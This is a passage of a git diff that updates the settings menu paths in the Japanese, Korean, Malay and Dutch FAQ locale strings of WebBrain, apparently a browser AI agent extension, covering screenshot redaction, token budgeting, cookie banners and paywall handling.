"faq.cookies_paywalls.q": "WebBrain は Cookie バナーやペイウォールをどう扱いますか?",
"faq.cookies_paywalls.a_html": "<p><strong>Cookie バナー:</strong> WebBrain は一般的なフレームワーク (OneTrust、Cookiebot、Didomi、Quantcast、Google Funding Choices、TrustArc) の同意バナーを認識し、ページについて推論する前に閉じます。優先順位は「すべて拒否」/「必須でないものを拒否」/「必要なものだけ」がはっきり見えるときはそれら。そうでなければ「すべて受け入れる」にフォールバックし、「設定を管理」の迷路にハマるのを避けます。</p><p><strong>ペイウォール:</strong> WebBrain はペイウォールがあれば正直にそれを報告し、実際に見えた範囲 (見出し、リード、最初の段落) を伝えます。ペイウォールの<strong>迂回は試みません</strong> — archive.today も 12ft.io も、Cookie の削除も JS の無効化もリーダーモードのトリックも使いません。記事全文が必要なら、サブスクでログインするか、同じ話題を扱う無料の記事を WebBrain に探してもらってください。</p>",
"faq.multilingual.q": "WebBrain は dry-run モードに対応していますか?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "WebBrain はどうやってクラウド LLM の請求を抑えていますか?",
- "faq.token_conscious.a_html": "<p>独立した 3 層構造です:</p><p><strong>トークンに配慮したスクリーンショット。</strong> 画像があなたのマシンから出ていく前に、WebBrain はリサイズ (短辺をキャップしつつアスペクト比を維持) し、JPEG で反復的に圧縮して 1 ターンあたりの画像トークン予算に収めます。GPT-4o で約 1,500 入力トークンかかる 2000×1200 のスクリーンショットも、ページ読み取り用途では実用上の損失なく ~300–500 トークンに圧縮されます。実装は <code>_fitImageDimensions</code> にあり、予算計算のユニットテストも備えています。</p><p><strong>スマートなコンテキストトリミング。</strong> 会話履歴、ツール出力、インラインの DOM ダンプは 1 ターンあたりで上限がかかり、アクティブモデルのコンテキスト窓が満杯に近づくと古いものから順にトリミングされます。<code>read_page</code> が小説並みの長さの記事を返したからといって、実行が静かに 10k トークンから 100k トークンに膨らむことはありません。</p><p><strong>専用の画像認識モデル。</strong> 計画とツール呼び出しには安いテキストモデル (例: GPT-4o-mini)、スクリーンショットだけは別の画像認識対応モデル (例: GPT-4o) というふうに組み合わせれば、毎ターン マルチモーダルモデルの料金を払わずに済みます。設定は <strong>設定 → 画像認識</strong> から。</p><p>結果として、クラウドプロバイダーとの長時間セッションは予測可能なままです。完全な制御が欲しいなら、ローカルで llama.cpp を — トークン単価はゼロです。</p>",
+ "faq.token_conscious.a_html": "<p>独立した 3 層構造です:</p><p><strong>トークンに配慮したスクリーンショット。</strong> 画像があなたのマシンから出ていく前に、WebBrain はリサイズ (短辺をキャップしつつアスペクト比を維持) し、JPEG で反復的に圧縮して 1 ターンあたりの画像トークン予算に収めます。GPT-4o で約 1,500 入力トークンかかる 2000×1200 のスクリーンショットも、ページ読み取り用途では実用上の損失なく ~300–500 トークンに圧縮されます。実装は <code>_fitImageDimensions</code> にあり、予算計算のユニットテストも備えています。</p><p><strong>スマートなコンテキストトリミング。</strong> 会話履歴、ツール出力、インラインの DOM ダンプは 1 ターンあたりで上限がかかり、アクティブモデルのコンテキスト窓が満杯に近づくと古いものから順にトリミングされます。<code>read_page</code> が小説並みの長さの記事を返したからといって、実行が静かに 10k トークンから 100k トークンに膨らむことはありません。</p><p><strong>専用の画像認識モデル。</strong> 計画とツール呼び出しには安いテキストモデル (例: GPT-4o-mini)、スクリーンショットだけは別の画像認識対応モデル (例: GPT-4o) というふうに組み合わせれば、毎ターン マルチモーダルモデルの料金を払わずに済みます。設定は <strong>設定 → 補助モデル → 画像認識</strong> から。</p><p>結果として、クラウドプロバイダーとの長時間セッションは予測可能なままです。完全な制御が欲しいなら、ローカルで llama.cpp を — トークン単価はゼロです。</p>",
"faq.contribute.q": "WebBrain にコントリビュートできますか?",
"faq.contribute.a_html": "もちろんです! WebBrain は GPL-3.0-or-later ライセンスでコントリビュートを歓迎します。Issue、機能要望、コントリビューションガイドラインは <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">GitHub リポジトリ</a> をご覧ください。",
"oss.title": "100% オープンソース",
diff --git a/web/build/locales/ko.json b/web/build/locales/ko.json
index 5a81866c0..c7c937bd7 100644
--- a/web/build/locales/ko.json
+++ b/web/build/locales/ko.json
@@ -304,7 +304,7 @@
"faq.profile.q": "프로필 자동 입력은 어떻게 작동하나요? 안전한가요?",
"faq.profile.a_html": "<p>프로필 자동 입력은 <strong>설정 → 프로필</strong>에 있는 선택 기능입니다. 짧은 자기소개 — 이름, 업무 이메일, 회사, 저위험 가입용 <em>일회용</em> 비밀번호 — 를 입력하고 켜면, WebBrain이 그 텍스트를 에이전트의 시스템 프롬프트에 덧붙여 매번 묻지 않고도 가입 양식을 채울 수 있게 합니다.</p><p>텍스트는 브라우저 로컬 저장소에 <strong>평문</strong>으로 저장됩니다. WebBrain 프로젝트로는 <strong>전송되지 않지만</strong>, 설정한 LLM 프로바이더에게는 매 턴 시스템 프롬프트의 일부로 <strong>전송됩니다</strong>. 기본은 꺼짐입니다.</p><p>여기에 중요한 계정(Google, Apple, iCloud, 은행, 회사 SSO, 주 이메일) 비밀번호는 <strong>절대로 넣지 마세요</strong>. 이런 계정은 2FA를 사용해야 하고, 애초에 에이전트에게 넘길 일이 없어야 합니다. 의도된 사용 사례는 뉴스레터 가입과 무료 체험에서 재사용하는 일회용 비밀번호입니다.</p>",
"faq.screenshot_redaction.q": "스크린샷 마스킹 설정을 켜면 개인 데이터가 클라우드 비전 모델에 절대 도달하지 않는다는 것이 보장되나요?",
- "faq.screenshot_redaction.a_html": "<p>아니요 — 노출을 줄여줄 뿐 보장은 아닙니다. 활성화하면(<strong>설정 → 멀티모달 → 스크린샷 마스킹</strong>, 기본값은 꺼짐) WebBrain은 모든 스크린샷에서 비전 모델로 전송되기 <em>전에</em> 양식 필드와 이메일 주소·전화번호처럼 보이는 텍스트를 픽셀화합니다. 감지는 DOM 휴리스틱을 사용해 전적으로 사용자 기기에서 실행되며, 추가로 전송되는 데이터는 없습니다.</p><p><strong>이 기능은 최선을 다하는 방식이며 fail-open입니다.</strong> 탐색 직후, PDF 뷰어, 제한된 브라우저 페이지 등에서 감지기가 동작할 수 없는 경우, 작업을 중단하는 대신 스크린샷이 <em>마스킹되지 않은 채로</em> 전송됩니다. DOM 휴리스틱이 볼 수 없는 콘텐츠(캔버스에 그려진 텍스트, 이미지 안의 개인정보, 특이한 위젯 등)도 놓칠 수 있습니다. 그리고 이 설정은 스크린샷만 다루며, 모델로 전송되는 페이지 <em>텍스트</em>는 이것으로 마스킹되지 않습니다.</p><p><strong>비전에 대한 완전한 프라이버시가 필요하다면 로컬 모델을 사용하세요.</strong> llama.cpp나 Ollama 같은 오프라인 제공자를 사용하면 스크린샷과 페이지 텍스트가 기기를 절대 벗어나지 않으므로 애초에 마스킹할 것이 없습니다 — 프라이버시가 보장되는 유일한 구성입니다. 위의 \"WebBrain을 완전히 오프라인에서 사용할 수 있나요?\"를 참고하세요.</p><p><strong>비전을 지원하는 로컬 모델을 돌릴 만한 기기가 없다면?</strong> 계획 수립과 도구 호출에는 가벼운 소형 로컬 모델(평범한 CPU/GPU에서도 충분히 가벼운)을 쓰고, 비전 서브콜은 클라우드 제공자에 맡기면서 스크린샷 마스킹을 켜두는 것이 좋은 절충안입니다. 대화와 페이지 텍스트는 여전히 기기 안에 남고, 클라우드 비전으로 나가는 모든 스크린샷은 이미 양식 필드와 감지된 이메일/전화번호가 흐리게 처리된 상태입니다 — 완전한 로컬 비전 모델용 하드웨어 없이도 클라우드 노출을 줄일 수 있습니다. 이 분할 설정은 <strong>설정 → 비전</strong>에서 구성하세요(위의 \"WebBrain은 클라우드 LLM 청구를 어떻게 통제하나요?\"도 참고하세요).</p>",
+ "faq.screenshot_redaction.a_html": "<p>아니요 — 노출을 줄여줄 뿐 보장은 아닙니다. 활성화하면(<strong>설정 → 보조 모델 → 비전 → 스크린샷 마스킹</strong>, 기본값은 꺼짐) WebBrain은 모든 스크린샷에서 비전 모델로 전송되기 <em>전에</em> 양식 필드와 이메일 주소·전화번호처럼 보이는 텍스트를 픽셀화합니다. 감지는 DOM 휴리스틱을 사용해 전적으로 사용자 기기에서 실행되며, 추가로 전송되는 데이터는 없습니다.</p><p><strong>이 기능은 최선을 다하는 방식이며 fail-open입니다.</strong> 탐색 직후, PDF 뷰어, 제한된 브라우저 페이지 등에서 감지기가 동작할 수 없는 경우, 작업을 중단하는 대신 스크린샷이 <em>마스킹되지 않은 채로</em> 전송됩니다. DOM 휴리스틱이 볼 수 없는 콘텐츠(캔버스에 그려진 텍스트, 이미지 안의 개인정보, 특이한 위젯 등)도 놓칠 수 있습니다. 그리고 이 설정은 스크린샷만 다루며, 모델로 전송되는 페이지 <em>텍스트</em>는 이것으로 마스킹되지 않습니다.</p><p><strong>비전에 대한 완전한 프라이버시가 필요하다면 로컬 모델을 사용하세요.</strong> llama.cpp나 Ollama 같은 오프라인 제공자를 사용하면 스크린샷과 페이지 텍스트가 기기를 절대 벗어나지 않으므로 애초에 마스킹할 것이 없습니다 — 프라이버시가 보장되는 유일한 구성입니다. 위의 \"WebBrain을 완전히 오프라인에서 사용할 수 있나요?\"를 참고하세요.</p><p><strong>비전을 지원하는 로컬 모델을 돌릴 만한 기기가 없다면?</strong> 계획 수립과 도구 호출에는 가벼운 소형 로컬 모델(평범한 CPU/GPU에서도 충분히 가벼운)을 쓰고, 비전 서브콜은 클라우드 제공자에 맡기면서 스크린샷 마스킹을 켜두는 것이 좋은 절충안입니다. 대화와 페이지 텍스트는 여전히 기기 안에 남고, 클라우드 비전으로 나가는 모든 스크린샷은 이미 양식 필드와 감지된 이메일/전화번호가 흐리게 처리된 상태입니다 — 완전한 로컬 비전 모델용 하드웨어 없이도 클라우드 노출을 줄일 수 있습니다. 이 분할 설정은 <strong>설정 → 보조 모델 → 비전</strong>에서 구성하세요(위의 \"WebBrain은 클라우드 LLM 청구를 어떻게 통제하나요?\"도 참고하세요).</p>",
"faq.cookies_paywalls.q": "WebBrain은 쿠키 배너와 페이월을 어떻게 다루나요?",
"faq.cookies_paywalls.a_html": "<p><strong>쿠키 배너:</strong> WebBrain은 일반적인 프레임워크(OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc)의 동의 배너를 인식해, 페이지에 대해 추론하기 전에 닫습니다. 우선순위는 명확히 보일 때 「모두 거부」/「필수 외 거부」/「필수만」이며, 그렇지 않다면 「설정 관리」 미로에 빠지는 대신 「모두 수락」으로 폴백합니다.</p><p><strong>페이월:</strong> WebBrain은 페이월의 존재를 정직하게 보고하고, 실제로 본 부분(헤드라인, 부제, 첫 단락 정도)을 알려 줍니다. 페이월을 우회하려고 시도하지 <strong>않습니다</strong> — archive.today, 12ft.io, 쿠키 삭제, JS 비활성화, 리더 모드 트릭 등은 모두 사용하지 않습니다. 전체 기사를 원한다면 구독으로 로그인하거나, 같은 사안에 대한 무료 보도를 찾아 달라고 WebBrain에 부탁하세요.</p>",
"faq.multilingual.q": "WebBrain은 dry-run 모드를 지원하나요?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "WebBrain은 클라우드 LLM 청구를 어떻게 통제하나요?",
- "faq.token_conscious.a_html": "<p>독립적인 세 가지 레이어가 있습니다:</p><p><strong>토큰을 아끼는 스크린샷.</strong> 이미지가 머신을 떠나기 전에, WebBrain은 크기를 조정하고(짧은 변에 상한, 가로세로 비율 유지) 턴당 이미지 토큰 예산에 맞을 때까지 JPEG로 반복 압축합니다. GPT-4o에서 입력 토큰 약 1,500개에 해당하는 2000×1200 스크린샷이, 페이지 읽기 작업에서 실질적인 손실 없이 ~300–500 토큰으로 압축됩니다. <code>_fitImageDimensions</code>에 구현되어 있고 예산 계산용 유닛 테스트도 있습니다.</p><p><strong>스마트 컨텍스트 트리밍.</strong> 대화 기록, 도구 출력, 인라인 DOM 덤프 모두 턴 단위로 상한이 걸리고, 활성 모델의 컨텍스트 윈도우가 가득 차 가면 오래된 것부터 잘립니다. <code>read_page</code>가 소설 분량의 글을 반환했다는 이유로 실행이 조용히 10k 토큰에서 100k 토큰으로 부풀어 오르는 일은 없습니다.</p><p><strong>전용 비전 모델.</strong> 계획과 도구 호출에는 저렴한 텍스트 모델(예: GPT-4o-mini)을, 스크린샷에만 별도의 비전 지원 모델(예: GPT-4o)을 짝지으면 매 턴마다 멀티모달 모델 가격을 낼 필요가 없습니다. <strong>설정 → 비전</strong>에서 구성하세요.</p><p>결과적으로 클라우드 프로바이더와의 긴 세션은 예측 가능한 상태를 유지합니다. 완전한 제어를 원한다면 로컬 llama.cpp를 쓰세요 — 토큰당 비용은 0입니다.</p>",
+ "faq.token_conscious.a_html": "<p>독립적인 세 가지 레이어가 있습니다:</p><p><strong>토큰을 아끼는 스크린샷.</strong> 이미지가 머신을 떠나기 전에, WebBrain은 크기를 조정하고(짧은 변에 상한, 가로세로 비율 유지) 턴당 이미지 토큰 예산에 맞을 때까지 JPEG로 반복 압축합니다. GPT-4o에서 입력 토큰 약 1,500개에 해당하는 2000×1200 스크린샷이, 페이지 읽기 작업에서 실질적인 손실 없이 ~300–500 토큰으로 압축됩니다. <code>_fitImageDimensions</code>에 구현되어 있고 예산 계산용 유닛 테스트도 있습니다.</p><p><strong>스마트 컨텍스트 트리밍.</strong> 대화 기록, 도구 출력, 인라인 DOM 덤프 모두 턴 단위로 상한이 걸리고, 활성 모델의 컨텍스트 윈도우가 가득 차 가면 오래된 것부터 잘립니다. <code>read_page</code>가 소설 분량의 글을 반환했다는 이유로 실행이 조용히 10k 토큰에서 100k 토큰으로 부풀어 오르는 일은 없습니다.</p><p><strong>전용 비전 모델.</strong> 계획과 도구 호출에는 저렴한 텍스트 모델(예: GPT-4o-mini)을, 스크린샷에만 별도의 비전 지원 모델(예: GPT-4o)을 짝지으면 매 턴마다 멀티모달 모델 가격을 낼 필요가 없습니다. <strong>설정 → 보조 모델 → 비전</strong>에서 구성하세요.</p><p>결과적으로 클라우드 프로바이더와의 긴 세션은 예측 가능한 상태를 유지합니다. 완전한 제어를 원한다면 로컬 llama.cpp를 쓰세요 — 토큰당 비용은 0입니다.</p>",
"faq.contribute.q": "WebBrain에 기여할 수 있나요?",
"faq.contribute.a_html": "물론입니다! WebBrain은 GPL-3.0-or-later 라이선스이며 기여를 환영합니다. 이슈, 기능 요청, 기여 가이드는 <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">GitHub 저장소</a>에서 확인하세요.",
"oss.title": "100% 오픈소스",
diff --git a/web/build/locales/ms.json b/web/build/locales/ms.json
index 19353575e..05104f2ae 100644
--- a/web/build/locales/ms.json
+++ b/web/build/locales/ms.json
@@ -304,7 +304,7 @@
"faq.profile.q": "Bagaimanakah auto-isi Profil berfungsi, dan adakah ia selamat?",
"faq.profile.a_html": "<p>Auto-isi profil ialah ciri pilihan dalam <strong>Tetapan → Profil</strong>. Anda memasukkan bio ringkas — nama, e-mel kerja, syarikat dan kata laluan <em>pakai buang</em> untuk pendaftaran berisiko rendah — dan menghidupkannya. Apabila didayakan, WebBrain menambahkan teks tersebut kepada system prompt ejen supaya ia boleh mengisi borang pendaftaran tanpa bertanya setiap kali.</p><p>Teks disimpan <strong>sebagai teks biasa</strong> dalam storan tempatan pelayar anda. Ia <strong>tidak</strong> dihantar kepada projek WebBrain, tetapi ia <strong>dihantar</strong> kepada pembekal LLM yang anda konfigurasikan pada setiap giliran, sebagai sebahagian daripada system prompt. Dimatikan secara lalai.</p><p><strong>Jangan letakkan kata laluan untuk akaun penting</strong> (Google, Apple, iCloud, perbankan, SSO kerja, e-mel utama) di sini. Akaun-akaun itu sepatutnya menggunakan 2FA dan tidak sepatutnya diserahkan kepada ejen. Kes penggunaan yang dimaksudkan ialah kata laluan pakai buang yang anda guna semula untuk pendaftaran surat berita dan percubaan percuma.</p>",
"faq.screenshot_redaction.q": "Adakah tetapan Penyamaran tangkapan skrin menjamin data peribadi saya tidak akan sampai kepada model visi awan?",
- "faq.screenshot_redaction.a_html": "<p>Tidak — ia mengurangkan pendedahan, bukan jaminan. Apabila diaktifkan (<strong>Tetapan → Multimodal → Penyamaran tangkapan skrin</strong>, dimatikan secara lalai), WebBrain mengaburkan medan borang dan teks yang kelihatan seperti alamat e-mel atau nombor telefon pada setiap tangkapan skrin <em>sebelum</em> ia dihantar kepada model visi. Pengesanan berjalan sepenuhnya pada peranti anda menggunakan heuristik DOM; tiada apa-apa tambahan dihantar.</p><p><strong>Ini bersifat usaha terbaik dan fail-open.</strong> Jika pengesan tidak dapat berjalan pada sesuatu halaman — contohnya sejurus selepas navigasi, dalam pemapar PDF, atau pada halaman pelayar yang dihadkan — tangkapan skrin tetap dihantar <em>tanpa disamarkan</em> dan bukannya membatalkan tugas anda. Kandungan yang tidak dapat dilihat oleh heuristik DOM (teks yang dilukis pada canvas, maklumat peribadi dalam imej, widget yang luar biasa) juga mungkin terlepas. Dan tetapan ini hanya merangkumi tangkapan skrin: teks halaman yang dihantar kepada model tidak disamarkan olehnya.</p><p><strong>Untuk privasi visi sepenuhnya, gunakan model tempatan.</strong> Dengan penyedia luar talian seperti llama.cpp atau Ollama, tangkapan skrin dan teks halaman tidak akan meninggalkan peranti anda, jadi tiada apa-apa untuk disamarkan sejak awal — ini satu-satunya konfigurasi di mana privasi dijamin. Lihat \"Bolehkah saya menggunakan WebBrain sepenuhnya luar talian?\" di atas.</p><p><strong>Tiada peranti yang mampu menjalankan model tempatan berupaya visi?</strong> Jalan tengah yang baik ialah menggunakan model tempatan kecil untuk perancangan dan panggilan alat (cukup ringan untuk CPU/GPU yang sederhana), digabungkan dengan penyedia awan untuk sub-panggilan visi, dengan Penyamaran tangkapan skrin dihidupkan. Perbualan dan teks halaman anda kekal pada peranti, dan setiap tangkapan skrin yang keluar untuk visi awan sudah mempunyai medan borang serta e-mel/telefon yang dikesan dalam keadaan kabur — pendedahan awan berkurangan tanpa memerlukan perkakasan untuk model visi tempatan yang lengkap. Konfigurasikan pembahagian ini di bawah <strong>Tetapan → Visi</strong> (lihat \"Bagaimanakah WebBrain mengawal bil LLM awan?\" di atas).</p>",
+ "faq.screenshot_redaction.a_html": "<p>Tidak — ia mengurangkan pendedahan, bukan jaminan. Apabila diaktifkan (<strong>Tetapan → Model Bantuan → Penglihatan → Penyamaran tangkapan skrin</strong>, dimatikan secara lalai), WebBrain mengaburkan medan borang dan teks yang kelihatan seperti alamat e-mel atau nombor telefon pada setiap tangkapan skrin <em>sebelum</em> ia dihantar kepada model visi. Pengesanan berjalan sepenuhnya pada peranti anda menggunakan heuristik DOM; tiada apa-apa tambahan dihantar.</p><p><strong>Ini bersifat usaha terbaik dan fail-open.</strong> Jika pengesan tidak dapat berjalan pada sesuatu halaman — contohnya sejurus selepas navigasi, dalam pemapar PDF, atau pada halaman pelayar yang dihadkan — tangkapan skrin tetap dihantar <em>tanpa disamarkan</em> dan bukannya membatalkan tugas anda. Kandungan yang tidak dapat dilihat oleh heuristik DOM (teks yang dilukis pada canvas, maklumat peribadi dalam imej, widget yang luar biasa) juga mungkin terlepas. Dan tetapan ini hanya merangkumi tangkapan skrin: teks halaman yang dihantar kepada model tidak disamarkan olehnya.</p><p><strong>Untuk privasi visi sepenuhnya, gunakan model tempatan.</strong> Dengan penyedia luar talian seperti llama.cpp atau Ollama, tangkapan skrin dan teks halaman tidak akan meninggalkan peranti anda, jadi tiada apa-apa untuk disamarkan sejak awal — ini satu-satunya konfigurasi di mana privasi dijamin. Lihat \"Bolehkah saya menggunakan WebBrain sepenuhnya luar talian?\" di atas.</p><p><strong>Tiada peranti yang mampu menjalankan model tempatan berupaya visi?</strong> Jalan tengah yang baik ialah menggunakan model tempatan kecil untuk perancangan dan panggilan alat (cukup ringan untuk CPU/GPU yang sederhana), digabungkan dengan penyedia awan untuk sub-panggilan visi, dengan Penyamaran tangkapan skrin dihidupkan. Perbualan dan teks halaman anda kekal pada peranti, dan setiap tangkapan skrin yang keluar untuk visi awan sudah mempunyai medan borang serta e-mel/telefon yang dikesan dalam keadaan kabur — pendedahan awan berkurangan tanpa memerlukan perkakasan untuk model visi tempatan yang lengkap. Konfigurasikan pembahagian ini di bawah <strong>Tetapan → Model Bantuan → Penglihatan</strong> (lihat \"Bagaimanakah WebBrain mengawal bil LLM awan?\" di atas).</p>",
"faq.cookies_paywalls.q": "Apa yang dilakukan WebBrain dengan sepanduk cookie dan paywall?",
"faq.cookies_paywalls.a_html": "<p><strong>Sepanduk cookie:</strong> WebBrain mengenali sepanduk persetujuan daripada rangka kerja biasa (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) dan menutupnya sebelum berfikir tentang halaman. Keutamaan adalah \"Tolak semua\" / \"Tolak yang bukan penting\" / \"Hanya yang perlu\" apabila kelihatan jelas; ia berundur ke \"Terima semua\" daripada hilang dalam labirin \"Urus pilihan\".</p><p><strong>Paywall:</strong> WebBrain melaporkan paywall dengan jujur dan memberitahu anda apa yang sebenarnya boleh dilihatnya (tajuk, deck, perenggan pertama). Ia <strong>tidak</strong> cuba memintas paywall — tiada archive.today, 12ft.io, pembersihan cookie, melumpuhkan JS atau helah mod pembaca. Jika anda mahukan artikel penuh, log masuk dengan langganan atau minta WebBrain mencari liputan percuma untuk cerita yang sama.</p>",
"faq.multilingual.q": "Adakah WebBrain menyokong mod dry-run?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "Bagaimanakah WebBrain mengawal bil LLM awan?",
- "faq.token_conscious.a_html": "<p>Tiga lapisan bebas:</p><p><strong>Tangkapan skrin jimat token.</strong> Sebelum mana-mana imej meninggalkan mesin anda, WebBrain mengubah saiznya (sisi pendek dihadkan, mengekalkan nisbah aspek) dan memampatkannya JPEG secara berulang sehingga ia muat dengan bajet token imej setiap giliran. Tangkapan skrin 2000×1200 yang akan dikenakan kira-kira 1,500 token input pada GPT-4o akan dimampatkan kepada ~300–500 token tanpa kehilangan praktikal untuk tugas membaca halaman. Dilaksanakan dalam <code>_fitImageDimensions</code> dengan ujian unit untuk matematik bajet.</p><p><strong>Pemangkasan konteks pintar.</strong> Sejarah perbualan, output alat dan dump DOM sebaris dibatasi setiap giliran dan dipangkas yang paling lama dahulu apabila tetingkap konteks model aktif menghampiri penuh. Anda tidak akan melihat larian membengkak secara senyap dari 10k token kepada 100k kerana <code>read_page</code> mengembalikan artikel sepanjang novel.</p><p><strong>Model penglihatan khusus.</strong> Pasangkan model teks murah (cth. GPT-4o-mini) untuk perancangan dan panggilan alat dengan model penglihatan berasingan (cth. GPT-4o) hanya untuk tangkapan skrin, jadi anda tidak membayar harga model multimodal pada setiap giliran. Konfigurasi di bawah <strong>Tetapan → Penglihatan</strong>.</p><p>Hasil bersih: sesi panjang dengan pembekal awan kekal boleh diramal. Untuk kawalan penuh, gunakan llama.cpp secara tempatan — kos sifar setiap token.</p>",
+ "faq.token_conscious.a_html": "<p>Tiga lapisan bebas:</p><p><strong>Tangkapan skrin jimat token.</strong> Sebelum mana-mana imej meninggalkan mesin anda, WebBrain mengubah saiznya (sisi pendek dihadkan, mengekalkan nisbah aspek) dan memampatkannya JPEG secara berulang sehingga ia muat dengan bajet token imej setiap giliran. Tangkapan skrin 2000×1200 yang akan dikenakan kira-kira 1,500 token input pada GPT-4o akan dimampatkan kepada ~300–500 token tanpa kehilangan praktikal untuk tugas membaca halaman. Dilaksanakan dalam <code>_fitImageDimensions</code> dengan ujian unit untuk matematik bajet.</p><p><strong>Pemangkasan konteks pintar.</strong> Sejarah perbualan, output alat dan dump DOM sebaris dibatasi setiap giliran dan dipangkas yang paling lama dahulu apabila tetingkap konteks model aktif menghampiri penuh. Anda tidak akan melihat larian membengkak secara senyap dari 10k token kepada 100k kerana <code>read_page</code> mengembalikan artikel sepanjang novel.</p><p><strong>Model penglihatan khusus.</strong> Pasangkan model teks murah (cth. GPT-4o-mini) untuk perancangan dan panggilan alat dengan model penglihatan berasingan (cth. GPT-4o) hanya untuk tangkapan skrin, jadi anda tidak membayar harga model multimodal pada setiap giliran. Konfigurasi di bawah <strong>Tetapan → Model Bantuan → Penglihatan</strong>.</p><p>Hasil bersih: sesi panjang dengan pembekal awan kekal boleh diramal. Untuk kawalan penuh, gunakan llama.cpp secara tempatan — kos sifar setiap token.</p>",
"faq.contribute.q": "Bolehkah saya menyumbang kepada WebBrain?",
"faq.contribute.a_html": "Sudah tentu! WebBrain berlesen GPL-3.0-or-later dan mengalu-alukan sumbangan. Lihat <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">repositori GitHub</a> untuk issue, permintaan ciri dan garis panduan sumbangan.",
"oss.title": "100% Sumber Terbuka",
diff --git a/web/build/locales/nl.json b/web/build/locales/nl.json
index 934cd1a72..8f77436ae 100644
--- a/web/build/locales/nl.json
+++ b/web/build/locales/nl.json
@@ -304,7 +304,7 @@
"faq.profile.q": "Hoe werkt Profiel auto-invullen, en is het veilig?",
"faq.profile.a_html": "<p>Profiel auto-invullen is een optionele functie in <strong>Instellingen → Profiel</strong>. U voert een korte bio in — naam, werkmail, bedrijf en een <em>wegwerp</em>wachtwoord voor low-stakes inschrijvingen — en schakelt het in. Wanneer ingeschakeld, voegt WebBrain die tekst toe aan het systeemprompt van de agent zodat het inschrijvingsformulieren kan invullen zonder telkens te vragen.</p><p>De tekst wordt <strong>in platte tekst</strong> opgeslagen in de lokale opslag van uw browser. Het wordt <strong>niet</strong> verzonden naar het WebBrain-project, maar het <strong>wel</strong> naar welke LLM-provider u heeft geconfigureerd bij elke beurt, als onderdeel van het systeemprompt. Standaard uit.</p><p><strong>Doe hier geen wachtwoorden voor belangrijke accounts</strong> (Google, Apple, iCloud, bankzaken, werk-SSO, primair e-mail). Die accounts zouden 2FA moeten gebruiken en moeten sowieso niet aan een agent worden overhandigd. Een wegwerpwachtwoord dat u hergebruikt voor nieuwsbrieft en gratis proefversies is het beoogde gebruiksscenario.</p>",
"faq.screenshot_redaction.q": "Garandeert de Screenshot-redactie-instelling dat mijn privédata nooit een cloud vision-model bereikt?",
- "faq.screenshot_redaction.a_html": "<p>Nee — het vermindert de blootstelling, het is geen garantie. Wanneer ingeschakeld (<strong>Instellingen → Multimodal → Screenshot-redactie</strong>, standaard uit), pixeleert WebBrain formulieren en tekst die lijkt op een e-mailadres of telefoonnummer op elke screenshot <em>voordat</em> deze naar een vision-model wordt gestuurd. Detectie draait volledig op uw apparaat via DOM-heuristieken; er wordt niets extra's verzonden.</p><p><strong>Het is een best-effort, fail-open aanpak.</strong> Als de detector niet kan draaien op een pagina — bijvoorbeeld direct na navigatie, op PDF-viewers, of op beperkte browserpagina's — wordt de screenshot nog steeds <em>onbewerkt</em> verzonden in plaats van uw taak te annuleren. Inhoud die de DOM-heuristieken niet kunnen zien (tekst op een canvas, PBI in afbeeldingen, ongebruikelijke widgets) kan ook doorglippen. En de instelling dekt alleen screenshots: pagina<em>tekst</em> die naar het model wordt gestuurd, wordt er niet door bewerkt.</p><p><strong>Voor volledige vision-privacy, gebruik een lokaal model.</strong> Met een offline provider zoals llama.cpp of Ollama verlaten screenshots en paginatekst uw machine nooit, dus er is niets om te bewerken — dat is de enige configuratie waarbij privacy gegarandeerd is. Zie \"Kan ik WebBrain volledig offline gebruiken?\" hierboven.</p><p><strong>Geen machine die een vision-capabel lokaal model kan draaien?</strong> Een goede middenweg is een klein lokaal model voor planning en tool-aanroepen (snel en licht genoeg voor een bescheiden CPU/GPU) gekoppeld aan een cloudprovider voor de vis子onderdelen, met Screenshot-redactie ingeschakeld. U behoudt uw gesprek en paginatekst op het apparaat, en elke screenshot die naar cloud-vision vertrekt heeft formulieren en gedetecteerde e-mails/telefoonnummers eerst vervaagd — verminderde cloudblootstelling zonder hardware voor een volledig lokaal vision-model. Configureer de vision-splitsing onder <strong>Instellingen → Vision</strong> (zie \"Hoe houdt WebBrain cloud LLM-rekeningen onder controle?\" hierboven).</p>",
